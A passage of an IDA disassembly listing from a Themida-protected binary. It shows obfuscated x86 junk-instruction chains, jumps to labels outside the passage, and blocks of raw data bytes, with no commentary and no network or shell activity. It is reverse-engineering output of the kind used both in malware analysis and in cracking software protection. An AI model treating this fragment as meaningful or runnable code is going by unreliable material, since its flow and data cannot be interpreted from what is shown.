; ---------------------------------------------------------------------------

loc_54E292:				; CODE XREF: Themida_:0054B4D9j
		pop	edx
		add	ebp, 6C8536B2h
		push	edx
		jmp	loc_54730D
; ---------------------------------------------------------------------------

loc_54E29F:				; CODE XREF: Themida_:0054EE11j
		add	dword ptr [esp+4], 18844A51h
		jmp	loc_549E4E
; ---------------------------------------------------------------------------
		dd 6DE94A66h, 33FFFF81h, 88E92414h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2BB:				; CODE XREF: Themida_:0054EAA6j
		shl	edx, 1
		shr	edx, 7
		jmp	loc_54C52C
; ---------------------------------------------------------------------------
		db 58h,	5, 4
		dd 5000000h, 4,	5C240487h, 32EA68h, 98CAE900h, 2C89FFFFh
		dd 6975E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E2E6:				; CODE XREF: Themida_:0054D58Cj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebp
		jmp	loc_54FB0C
; ---------------------------------------------------------------------------
		db 46h,	0F7h, 0D6h
		dd 3C48F681h, 0EE811F59h, 0E5DAA90Ah, 0E91C7709h, 0FFFFD3BDh
		dd 0EC81E9F7h, 4, 0E9240C89h, 0FFFF6E06h, 0B06E7BBh, 827EE9D7h
		dd 0C201FFFFh, 4C5BD55h, 0E5C17ED0h, 0FA5AE902h, 835FFFFFh
		dd 0FF5304C3h, 5B042474h, 0E924048Fh, 0FFFFF2FDh, 4C481h
		dd 0EDE90000h, 81000009h, 9F42A1CBh, 0D10E914h,	1C8B0000h
		dd 4C48324h, 0FF55AFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E375:				; CODE XREF: Themida_:0054A0FEj
		sub	esi, eax
		pop	eax
		sub	eax, esi
		pop	esi
		push	ebx
		push	ebp
		jmp	loc_546281
; ---------------------------------------------------------------------------

loc_54E382:				; CODE XREF: Themida_:0054983Bj
		shr	ebp, 8
		shl	ebp, 1
		xor	ebp, 58517A75h
		shl	ebp, 8
		push	esi
		mov	esi, 1BB0D84h
		xor	ebp, esi
		pop	esi
		or	ebp, 5EDF2022h
		jmp	loc_54BEF2
; ---------------------------------------------------------------------------
		dd 241C335Fh, 0E9241C31h, 19B3h, 2D04C483h, 68D51421h
		dd 0D168A02Dh, 6D590D68h, 0E8C175A4h, 71BE5606h, 816C162Fh
		dd 0D9794BF6h, 99C68147h, 141CF5Eh, 0C1895EF0h,	0FFB197E9h
		dd 243C8BFFh, 104C483h,	0A987E9C1h, 77FFFFFFh, 59669D1Ch
		dd 241CD366h, 0AF3BE99Ch, 0EC83FFFFh, 24048904h, 2BB53h
		dd 58530000h, 6C6E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E412:				; CODE XREF: Themida_:005458BCj
		add	edi, 4
		sub	esp, 4
		jmp	loc_5480B0
; ---------------------------------------------------------------------------
		db 56h
		dd 2434FF5Bh, 0E924348Bh, 0FFFF8086h, 2404315Ch, 54EAE99Ch
		dd 2C81FFFFh, 9F5C8C24h, 242C8164h, 3C8030F3h, 2E242C81h
		dd 0E91C9A03h, 0FFFF54D0h, 53C104ACh, 0DBF6FBB3h, 805CF380h
		dd 0E38039F3h, 80DBF661h, 0D800D7EBh, 3C045Bh, 683C2CD8h
		dd 6162h, 0B2241489h, 0AEDEE9C9h, 8B66FFFFh, 89522404h
		dd 0A449E9E2h, 0BA52FFFFh, 3C483682h, 295AD329h, 1B4468C3h
		dd 4890000h, 6B596824h,	2D58768Dh, 1367268Bh, 272B3E05h
		dd 0E4FBE902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4B6:				; CODE XREF: Themida_:00544A26j
		push	ecx
		mov	ecx, 2Ch
		add	ecx, edi
		jmp	loc_5480DC
; ---------------------------------------------------------------------------
		db 9
		dd 0B85059CDh, 54963094h, 958C501h, 242C8BEEh, 8104C483h
		dd 0B33A63EEh, 5EF7011Bh, 0E271EF81h, 0F8316EF5h, 0FFE590E9h
		dd 31E95CFFh, 68FFFF54h, 5912h,	54241489h, 4EC815Ah, 89000000h
		dd 73E92404h, 5EFFFFC4h, 3358C701h, 3C31243Ch, 243C3324h
		dd 6424248Bh, 0E9028966h, 0FFFF5400h, 2BE56h, 0DBE90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E52F:				; CODE XREF: Themida_:0054991Ej
		mov	edx, 0
		jmp	loc_54A8F2
; ---------------------------------------------------------------------------
		db 0B8h, 4, 0
		dd 0C6890000h, 24740158h, 48F5E04h, 464A6824h, 0F0E90000h
		dd 66FFFF6Bh, 0E924048Bh, 516h,	4E0C148h, 9D13E951h, 0C781FFFFh
		dd 2C334446h, 0EF81EF01h, 2C334446h, 146FC781h,	93E93737h
		dd 83FFFFE4h, 0C3304E9h, 240C3124h, 0FFD6DDE9h,	0D6E95BFFh
		dd 5C000004h, 0FC33166h, 6866C0B7h, 89666BE4h, 7DE92404h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E5A7:				; CODE XREF: Themida_:00546AE2j
		xor	edi, 5EAB09A6h
		push	ebp
		mov	ebp, 3FF03248h
		add	ebp, 7310B976h
		sub	edi, ebp
		jmp	loc_549A1F
; ---------------------------------------------------------------------------
		dd 0E9028F66h, 0FFFF535Ch, 3304C483h, 14312414h, 24143324h
		dd 0C8B70F5Ch, 229968h,	16D6E900h, 0C4830000h, 71BE5604h
		dd 156B45Ah, 1DE95EF0h,	66000000h, 666705BAh, 5A66D121h
		dd 2EF18166h, 0F3A1E953h, 2B2DFFFFh, 0E9BDC56Ah, 0FFFF90ABh
		dd 0FA56FE2Dh, 9E78E91Ch, 1431FFFFh, 24143324h,	240CFE5Ch
		dd 52FAE99Ch, 0E089FFFFh, 0FFC720E9h, 2474FFFFh, 0EC10E904h
		dd 0D6F7FFFFh, 5EAFE946h, 8F5AFFFFh, 815C2404h,	2C2h, 24143300h
		dd 0E9241431h, 0FFFFFC5Bh, 5AD30166h, 66D80166h, 0E9241C8Bh
		dd 0BF3h, 8005E6C0h, 0B450CDE6h, 80D4F638h, 0E4C0CEECh
		dd 0F4B15106h, 8006E9C0h, 6CE9D5C1h, 81FFFFACh,	6D49CBC7h
		dd 81EF011Dh, 6D49CBEFh, 242C8B1Dh, 5704C483h, 42474FFh
		dd 24048F5Fh, 0E924248Bh, 0FFFF5278h, 8BE9D5F7h, 57FFFF7Ah
		dd 0C36FE9BFh, 9E4BE903h, 0D9F7FFFFh, 79A3C181h, 0B850293Bh
		dd 4E6576A4h, 0A825E72Dh, 9C12E945h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E6D6:				; CODE XREF: Themida_:0054A8BEj
		push	ebx
		mov	ebx, 4F115095h
		xor	[esp+4], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		xor	eax, 4F115095h
		pop	edx
		push	ebx
		mov	ebx, 80F18EBh
		push	esi
		mov	esi, 51D07789h
		not	esi
		sub	esi, 71847C31h
		not	esi
		jmp	loc_54F365
; ---------------------------------------------------------------------------

loc_54E70D:				; CODE XREF: Themida_:005471BEj
		add	ebp, 34D41579h
		sub	ebp, 87F93729h
		push	ebp
		sub	dword ptr [esp], 3C530B96h
		pop	esi
		add	esi, 3C530B96h
		pop	ebp
		jmp	loc_549941
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 8124048Fh, 42404h, 0ECE90000h, 0C1000003h, 4AE906E2h
		dd 56FFFFCDh, 0F089FE89h, 0A594E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E756:				; CODE XREF: Themida_:00549A6Dj
		shr	edx, 7
		and	edx, 242E032Ah
		and	edx, 65F6A66h
		sub	edx, 0AA6FCA52h
		add	esi, edx
		pop	edx
		jmp	loc_54CC36
; ---------------------------------------------------------------------------
		db 88h
		dd 9298E9EAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E77A:				; CODE XREF: Themida_:0054D27Aj
		push	ecx
		jmp	loc_547FB4
; ---------------------------------------------------------------------------

loc_54E780:				; CODE XREF: Themida_:0054A8FCj
		inc	edi
		neg	edi
		push	ecx
		jmp	loc_544735
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 3Fh
		dd 0E9582378h, 0FFFFE11Dh, 5750E789h, 1C1529BFh, 5E7C150h
		dd 0FFA863E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E7A5:				; CODE XREF: Themida_:0054CDB8j
		mov	edx, esi
		pop	esi
		sub	[esp+4], edx
		pop	edx
		jmp	loc_54C3E2
; ---------------------------------------------------------------------------

loc_54E7B2:				; CODE XREF: Themida_:00547A5Aj
		pop	eax
		jmp	loc_54A0AF
; ---------------------------------------------------------------------------
		dd 6EAC15Bh, 7467F281h,	0CA816EBCh, 522E1D99h, 0F1F281h
		dd 0EA8132E1h, 4DDF1D48h, 0CAE9D001h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E7DB:				; CODE XREF: Themida_:0054B793j
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	0A4B5885h
		pop	ebx
		add	ebx, 0F5B4A77Ch
		mov	eax, ebx
		jmp	loc_54CF0C
; ---------------------------------------------------------------------------

loc_54E7FE:				; CODE XREF: Themida_:00545C70j
		mov	edi, 2D33539Eh
		dec	edi
		not	edi
		xor	edi, 52EC6445h
		jmp	loc_54DB7F
; ---------------------------------------------------------------------------
		db 5Eh,	55h, 0E9h
		dd 616h, 2BFh, 63E98100h, 1096409h, 0E474E9F9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E82A:				; CODE XREF: Themida_:00544780j
		pop	eax
		sub	eax, 4D6A5C09h
		jmp	loc_5461E1
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 0FFFEF1E9h, 647E68FFh, 0C15F4AE1h, 0E78104E7h, 73D51CFFh
		dd 0FFDA41E9h, 9C0BFFFh, 0EF81091Dh, 91D09BCh, 6FE768h
		dd 243C8900h, 0FFDFFBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E869:				; CODE XREF: Themida_:0054C37Aj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5450C4
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 301D16C5h, 5DE82988h, 8324148Bh, 42D04C4h, 0E9000000h
		dd 0FFFF7315h, 0E92434FFh, 0FFFF6C82h, 33243C31h, 33E9243Ch
		dd 0B8FFFFD3h, 8C50A8Ah, 0FF6E4EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E8B1:				; CODE XREF: Themida_:0054866Aj
		add	eax, esi
		jmp	loc_549E6E
; ---------------------------------------------------------------------------

loc_54E8B8:				; CODE XREF: Themida_:00544701j
		xchg	edx, [esp]
		pop	esp
		push	7A98h
		jmp	loc_54A2B9
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 0C2815DEAh, 4, 5C241487h, 0FFE44AE9h, 32EB80FFh
		dd 96F38059h, 0DBE95066h, 83FFFFE0h, 548A04C4h,	4C880424h
		dd 0C8B0424h, 4C48124h,	86000000h, 86D1F6CAh, 241486CAh
		dd 0FF5017E9h, 0DA015FFFh, 57241C8Bh, 0C781E789h, 4, 0FFA8C0E9h
		dd 24248BFFh, 0FFE24EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54E929:				; CODE XREF: Themida_:00543ABFj
		sub	esi, ebp
		pop	ebp
		add	esi, 101C1Fh
		push	ebx
		mov	ebx, 23A4465Eh
		neg	ebx
		shr	ebx, 6
		not	ebx
		shr	ebx, 7
		shr	ebx, 3
		add	ebx, 68FEC00Ah
		add	esi, 5C465826h
		add	esi, ebx
		sub	esi, 5C465826h
		mov	ebx, [esp]
		add	esp, 4
		mov	eax, esi
		pop	esi
		sub	[esp+4], eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_54FA03
; ---------------------------------------------------------------------------
		db 0B4h
		dd 0E920E936h, 8B66FFFFh, 0FBE9240Ch, 89FFFF8Dh, 74FF2404h
		dd 8F580424h, 0FF5C2404h, 148B2434h, 0AF24E924h, 8B66FFFFh
		dd 3268240Ch, 8900000Ch, 0E954240Ch, 0FFFF69E7h, 0F602E7C0h
		dd 0F0EF80D7h, 0C780C7FEh, 58E700A4h, 5B66FA30h, 0FF8BE7E9h
		dd 84B850FFh, 8130C579h, 7608246Ch, 1650D6Fh, 81082444h
		dd 76082444h, 58650D6Fh, 4244C01h, 4246C81h, 30C57984h
		dd 0B9515A59h, 0C1A6316h, 0E906E1C1h, 0FFFFBB9Fh, 34FFF831h
		dd 2434FF24h, 0F234E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EA26:				; CODE XREF: Themida_:005471C6j
		mov	edi, 0C762AB1h
		push	edi
		jmp	loc_543D4D
; ---------------------------------------------------------------------------
		db 21h,	0DEh, 8Bh
		dd 0C483241Ch, 0CEE8104h, 10AD110h, 24348BF1h, 8104C483h
		dd 2C1h, 240C3300h, 0FFC100E9h,	0E28952FFh, 4C281h, 0C2810000h
		dd 4, 0FFC5AEE9h, 24048FFFh, 0C759E95Ch, 6856FFFFh, 57E8h
		dd 81242489h, 42404h, 348B0000h, 5CFBE924h, 8966FFFFh
		dd 0FAB02404h, 0FF586DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA95:				; CODE XREF: Themida_:0054BF85j
		sub	edx, 6FE1275Ch
		sub	edx, 38F65106h
		xchg	ecx, edx
		dec	ecx
		xchg	ecx, edx
		jmp	loc_54E2BB
; ---------------------------------------------------------------------------

loc_54EAAB:				; CODE XREF: Themida_:0054BAA8j
		add	ebx, ecx
		pop	ecx
		mov	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 55060098h
		shl	ebx, 6
		sub	ebx, 190AE955h
		or	esi, ebx
		mov	ebx, [esp]
		jmp	loc_54C7E9
; ---------------------------------------------------------------------------
		dw 5E54h
		dd 4C681h, 0E9510000h, 0FFFFCCA3h, 48BC701h, 4C48124h
		dd 57000000h, 42474FFh,	24048F5Fh, 288645Ch, 0FF4E2FE9h
		dd 240C8BFFh, 81E18951h, 4C1h, 4C18100h, 87000000h, 875C240Ch
		dd 665C242Ch, 9C243CD3h, 0FF4E0BE9h, 0C8B66FFh,	0AD1EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB22:				; CODE XREF: Themida_:00545ED6j
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_543E41
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 4C581h, 0C5810000h, 2, 0E9242C33h, 0FFFF7230h
		dd 0E9242489h, 0FFFFCD3Fh
; ---------------------------------------------------------------------------

loc_54EB54:				; CODE XREF: Themida_:0054BBFBj
		mov	[esp], ebp
		push	14BC4B0Ch
		pop	ebp
		add	eax, ebp
		pop	ebp
		push	edi
		jmp	loc_5459C2
; ---------------------------------------------------------------------------
		dw 0F5Ch
		dd 0C7E9C8AFh, 0BEFFFFEDh, 4, 43E9F201h
		db 0B2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EB7B:				; CODE XREF: Themida_:00547616j
		pop	ebx
		sub	ebx, 591A6880h
		xor	ebx, 29AD3565h
		dec	ebx
		jmp	loc_54393C
; ---------------------------------------------------------------------------
		dw 6852h
		dd 2, 0B857E95Ah, 0E589FFFFh, 4C581h, 0ED810000h, 4, 5C242C87h
		dd 0BF243C89h, 2, 2CC8C581h, 0ED81588Dh, 7E185449h, 0B850FD01h
		dd 22FD5599h, 35E95140h, 0BAFFFFB8h, 4,	1B9EBD55h, 0E8011CFBh
		dd 0FF625FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EBE1:				; CODE XREF: Themida_:00544641j
		mov	[esp], edx
		jmp	loc_549CF1
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 2404895Ch, 0FF6000E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EBF5:				; CODE XREF: Themida_:0054C85Fj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_548B4F
; ---------------------------------------------------------------------------

loc_54EC23:				; CODE XREF: Themida_:0054BD47j
		xchg	ebp, [esp]
		pop	esp
		add	al, bl
		pop	ebx
		sub	al, bl
		push	bx
		mov	bl, 0FAh
		push	ebx
		mov	bh, 0E9h
		inc	bh
		sub	bh, 55h
		jmp	loc_54D3B9
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 50h
		dd 4B8h, 0E9C10100h, 330h, 81240401h, 1B842404h, 53570BE1h
		dd 35156857h, 815F6DE9h, 140824EFh, 3DF78126h, 89450745h
		dd 0B5AAE9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC72:				; CODE XREF: Themida_:005449C1j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5472B6
; ---------------------------------------------------------------------------
		dd 728F6850h, 2D585093h, 7DF6CD0h, 0EE453125h, 6E8C16Fh
		dd 27E7BB53h, 0E3812179h, 0BB42F1Dh, 0FF989CE9h, 4EC83FFh
		dd 54243489h, 4C6815Eh,	68000000h, 42EBh, 0BB241C89h, 2
		dd 1C8BDE01h, 4C48324h,	2474FF56h, 48F5E04h, 24248B24h
		dd 0BB53C330h, 38h, 1438BF57h, 0FB017963h, 81FB015Fh, 631438EBh
		dd 2FE95179h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ECF3:				; CODE XREF: Themida_:0054D0F3j
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		mov	ebx, 6FCE1D93h
		jmp	loc_54968B
; ---------------------------------------------------------------------------

loc_54ED04:				; CODE XREF: Themida_:0054DFE3j
		push	small 6701h
		mov	[esp], cx
		push	edx
		push	ecx
		jmp	loc_545853
; ---------------------------------------------------------------------------

loc_54ED13:				; CODE XREF: Themida_:0054FAFDj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54CF64
; ---------------------------------------------------------------------------
		dw 2489h
		dd 698FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54ED2A:				; CODE XREF: Themida_:0054BCA7j
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_544794
; ---------------------------------------------------------------------------
		db 59h,	2Dh, 0B0h
		dd 175631Dh, 1FB951D8h,	0E93D1D4Bh, 0FFFFC936h,	1874C88h
		dd 592434FFh, 4C481h, 0C8E90000h, 0FF000008h, 0E9582434h
		dd 0FFFFD28Ch
; ---------------------------------------------------------------------------

loc_54ED68:				; CODE XREF: Themida_:005480ABj
		sub	esp, 4
		mov	[esp], ebx
		mov	bl, 0ECh
		and	bl, 0AFh
		not	bl
		sub	bl, 9Bh
		jmp	loc_549F5B
; ---------------------------------------------------------------------------

loc_54ED7D:				; CODE XREF: Themida_:0054DC49j
		push	3D7h
		mov	[esp], ebx
		push	ecx
		push	77972F4Ch
		jmp	loc_545FB8
; ---------------------------------------------------------------------------

loc_54ED90:				; CODE XREF: Themida_:0054E102j
		mov	edi, 1D935172h
		shr	edi, 4
		xor	edi, 58EB338Eh
		jmp	loc_54CBBE
; ---------------------------------------------------------------------------

loc_54EDA3:				; CODE XREF: Themida_:005479ECj
		sub	esi, 327D53F3h
		add	ebp, 391E4E6Dh
		add	ebp, esi
		sub	ebp, 391E4E6Dh
		pop	esi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	[esp], eax
		push	ebp
		mov	ebp, 6E0D2578h
		push	edx
		mov	edx, 770B12E6h
		sub	[esp+8], edx
		pop	edx
		jmp	loc_548ABA
; ---------------------------------------------------------------------------
		dd 2C481h, 0C3280000h, 0CCB15166h, 0FF54F0E9h, 46D5B8FFh
		dd 8E0D715Eh, 0E9279B55h, 0FFFFEDCBh, 3E71C781h, 0FD895CB2h
		dd 0FFA242E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE05:				; CODE XREF: Themida_:0054EE52j
		sub	dword ptr [esp+4], 18844A51h
		sub	[esp+4], edx
		jmp	loc_54E29F
; ---------------------------------------------------------------------------
		dw 4721h
		dd 2434FF1Ch, 8324048Bh, 23E904C4h, 1FFFFA8h, 8C72E9F9h
		dd 4BDFFFFh, 1000000h, 0EC815DEEh, 4, 0B9240C89h, 166A25D3h
		dd 0FF6326E9h, 240C89FFh, 0FFA541E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EE51:				; CODE XREF: Themida_:0054A387j
		pop	ecx
		jmp	loc_54EE05
; ---------------------------------------------------------------------------
		db 68h
		dd 2605h, 0E9242C89h, 0FFFF809Bh
; ---------------------------------------------------------------------------

loc_54EE64:				; CODE XREF: Themida_:00548B4Aj
		pop	ebp
		add	eax, edi
		mov	[eax], bl
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		push	eax
		push	ecx
		push	634D5AF8h
		pop	ecx
		not	ecx
		add	ecx, 4AB1399h
		xor	ecx, 0BF0FCDE2h
		mov	eax, ecx
		pop	ecx
		add	eax, 92E102Ch
		jmp	loc_544356
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 169D598Bh, 0BAE9FE01h, 81FFFF7Ah, 2C4h, 4EC8100h, 89000000h
		dd 30682404h, 89000057h, 3FE92414h, 81FFFF67h, 869757F3h
		dd 0E9DE29DCh, 0FFFF720Bh, 0C04ACA80h, 8EE907E2h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EEEB:				; CODE XREF: Themida_:00549FA3j
		push	bx
		mov	bh, 90h
		add	ch, bh
		pop	bx
		jmp	loc_547109
; ---------------------------------------------------------------------------
		dd 70C6815Eh, 5A4FE845h, 0D6F7DEF7h, 0D645EE81h, 0F301109Ah
		dd 0AFF3815Eh, 5A29B75h, 9680510h, 84DE9h, 4EC8300h, 0BF243C89h
		dd 4, 7D3E9h, 32FF6400h, 0FF49EFE9h, 1C783FFh, 0F0EF8147h
		dd 81606750h, 1050F6EFh, 5A45E905h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EF4A:				; CODE XREF: Themida_:00544311j
		push	ebx
		jmp	loc_546FEB
; ---------------------------------------------------------------------------
		dd 26BE5653h, 0BB15B621h, 0EA49DEDCh, 7194EB81h, 0F3012000h
		dd 7194C381h, 15E2000h,	7230E9DEh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EF72:				; CODE XREF: Themida_:00543937j
		add	al, 0F7h
		sub	al, bh
		push	ecx
		jmp	loc_543B17
; ---------------------------------------------------------------------------
		dd 4C18358h, 5C240C87h,	8702EE83h, 0E95C2434h, 0FFFF4F25h
; ---------------------------------------------------------------------------

loc_54EF90:				; CODE XREF: Themida_:005464B1j
		push	34E1h
		jmp	loc_549ACA
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 2463BA52h, 0D2F73341h, 1C281h, 0EA810000h, 60C02B23h
		dd 6809C281h, 0DAF7203Ch, 756DBB53h, 0C38140A1h, 15272C42h
		dd 1EB81h, 5DE90000h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EFCF:				; CODE XREF: Themida_:00549E38j
		mov	ecx, 4
		sub	ebp, ecx
		jmp	loc_54CFF6
; ---------------------------------------------------------------------------

loc_54EFDB:				; CODE XREF: Themida_:0054BB00j
		xor	dh, 89h
		neg	dh
		jmp	loc_54A103
; ---------------------------------------------------------------------------

loc_54EFE5:				; CODE XREF: Themida_:0054612Ej
		xor	ecx, esi
		pop	esi
		push	2410h
		jmp	loc_5443D2
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF9BD5h, 8124048Fh, 42404h, 2C8B0000h, 4C48124h
		dd 81000000h, 4C5h, 56206800h, 3C890000h, 2BF24h, 0FD290000h
		dd 0FF5DFFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F025:				; CODE XREF: Themida_:0054DF4Dj
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_543924
; ---------------------------------------------------------------------------

loc_54F02F:				; CODE XREF: Themida_:00547ABAj
		mov	esp, [esp]
		mov	[esp], esi
		jmp	loc_5449F5
; ---------------------------------------------------------------------------
		dw 0D188h
		dd 0C8BCF88h, 80E1E924h, 5E5DFFFFh, 0F587D6F7h,	71C4ED81h
		dd 0F5815265h, 22F015EBh, 0AC297105h, 50852D4Fh, 0A0E9519Ah
		dd 0C1FFFF9Ch, 0FBE907E2h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F06F:				; CODE XREF: Themida_:00544467j
		xor	ecx, 16DC7455h
		jmp	loc_54936F
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 4577688Fh, 0FFFEB0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F085:				; CODE XREF: Themida_:00548149j
		pop	dx
		jmp	loc_545015
; ---------------------------------------------------------------------------
		dd 0D224248Bh, 0E99C243Ch, 0FFFF488Ch
; ---------------------------------------------------------------------------

loc_54F098:				; CODE XREF: Themida_:00545C3Cj
		pop	esp
		mov	[esp], ecx
		pop	dword ptr [eax]
		jmp	loc_54D7FE
; ---------------------------------------------------------------------------

loc_54F0A3:				; CODE XREF: Themida_:005461E3j
		add	eax, 4D6A5C09h
		mov	[eax], ebx
		pop	eax
		pop	ebx
		jmp	loc_54AE52
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 4832424h,	0F7E90424h, 5CFFFF76h, 0FF7B65E9h
		dd 242C8BFFh, 55E28952h, 4BDh, 5DEA0100h, 0FF4B64E9h, 24048BFFh
		dd 0FFBB65E9h, 0D831ADFFh, 4C20BD55h, 0E9556026h, 0FFFFE454h
; ---------------------------------------------------------------------------

loc_54F0F4:				; CODE XREF: Themida_:0054C420j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A011
; ---------------------------------------------------------------------------

loc_54F105:				; CODE XREF: Themida_:00544B10j
		mov	eax, esp
		jmp	loc_548EE8
; ---------------------------------------------------------------------------
		dd 421665Ch, 9BE99C24h,	81FFFF82h, 0ADE9EBC1h, 59C8312Dh
		dd 2E516855h, 0FCE90000h, 59FFFFC4h, 5C241C87h,	9462E95Eh
		dd 585EFFFFh, 2474FF53h, 241C8B04h, 81E78957h, 4C7h, 9EC6E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F14E:				; CODE XREF: Themida_:0054F44Bj
		sub	ebp, 4
		jmp	loc_547AB7
; ---------------------------------------------------------------------------

loc_54F159:				; CODE XREF: Themida_:00548867j
		sub	edx, esi
		pop	esi
		not	edx
		inc	edx
		push	21DAh
		mov	[esp], esi
		mov	esi, 921DB86Ah
		add	edx, 7E3A3C22h
		jmp	loc_547C47
; ---------------------------------------------------------------------------

loc_54F177:				; CODE XREF: Themida_:00546F6Fj
		dec	esi
		and	esi, 2E4A01F9h
		or	esi, 136A0EDFh
		sub	esi, 0D2A09C7Eh
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 0FFFFFFFFh
		sub	ebp, 7BA81A50h
		inc	ebp
		shr	ebp, 7
		xor	ebp, 1EDD41A9h
		xor	ebp, edi
		pop	edi
		mov	ecx, 0FB75F97Eh
		add	ecx, ebp
		pop	ebp
		and	eax, ecx
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_54A787
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 48h
		dd 0FFFFFFEAh, 815F2434h, 4C4h,	97EFE900h, 0E981FFFFh
		dd 4E020CC8h, 7D4DF181h, 0E98163D1h, 6EB95E75h,	69AF181h
		dd 0C8317F0Ch, 0DE4A2D59h, 0C301CA1Bh, 8124048Bh, 4C4h
		dd 2BA5200h, 1000000h, 0AEBDE9D3h, 0EB81FFFFh, 0FD103D4h
		dd 0C381F329h, 0FD103D4h, 0FFB084E9h, 68555AFFh, 6D03h
		dd 8065E954h, 0E954FFFFh, 0FFFF7AC1h, 5324048Bh, 55E9E389h
		dd 5FFFFB2h, 32CE0F40h,	0FFA54AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F245:				; CODE XREF: Themida_:005461BAj
		mov	ebp, 28671DF2h
		shl	ebp, 5
		jmp	loc_54ABBD
; ---------------------------------------------------------------------------
		dw 0C788h
		dd 1BE95A58h, 68FFFF8Fh, 0B60h,	0FFEBA1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F265:				; CODE XREF: Themida_:0054D4A1j
		add	ebx, 30ABFh
		push	edi
		push	178Ch
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 46B73D5Fh
		push	74FDh
		jmp	loc_546B1F
; ---------------------------------------------------------------------------
		db 0B5h, 6Eh, 86h
